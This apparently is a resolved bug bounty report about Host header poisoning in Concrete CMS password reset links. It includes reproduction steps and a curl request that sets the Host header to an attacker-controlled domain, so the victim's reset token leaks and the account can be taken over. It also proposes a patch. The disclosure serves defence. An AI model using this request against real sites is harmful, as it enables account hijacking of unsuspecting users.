Loading HuntDB...

Password Reset link hijacking via Host Header Poisoning

High
C
Concrete CMS
Submitted None
Reported by cdl

Vulnerability Details

Technical details and impact analysis

Privilege Escalation
## Summary Concrete5 uses the `Host` header when sending out password reset links. This allows an attacker to insert a malicious host header, leading to password reset link / token leakage. ## Impact The victim will receive the malicious link in their email, and, when clicked, will leak the user's password reset link / token to the attacker, leading to full account takeover. ## Reproduction 1.) Open up Firefox and Burp Suite.) 2.) Visit the forgot password page `(/index.php/login/concrete/forgot_password)` 3.) Enter the victim's email address and click `Reset and Email Password` 4.) Intercept the HTTP request in Burp Suite & change the `Host` Header to your malicious site / server. Example: {F182477} 5.) Forward the request and you'll be redirected to your server. The victim will then receive a password reset e-mail with your poisoned link. {F182478} If the victim clicks the link, the reset token will be leaked and the attacker will be able to find the reset token in the server logs. The attacker can then browse to the reset page with the token and change the password of the victim account! This can also be reproduced using the **curl** command ``` curl -i -s -k -X $'POST' \ -H 'Host:sxcurity.pro' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Referer: http://<TARGET>/index.php/login/callback/concrete/forgot_password' -H $'Upgrade-Insecure-Requests: 1' \ -b $'<COOKIES>' \ --data-binary $'ccm_token=1494113992%3A02eb0471b7b6e3a498ba7e6b57573b04&uEmail=hacker1337%40mailinator.com&resetPassword=' \ $'http://<TARGET>/index.php/login/callback/concrete/forgot_password' ``` ## Patch Use `$_SERVER['SERVER_NAME']` rather than `$_SERVER['HTTP_HOST']` ## References http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html Thanks! -Corben [(@sxcurity)](https://twitter.com/sxcurity) ps: crayons

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Privilege Escalation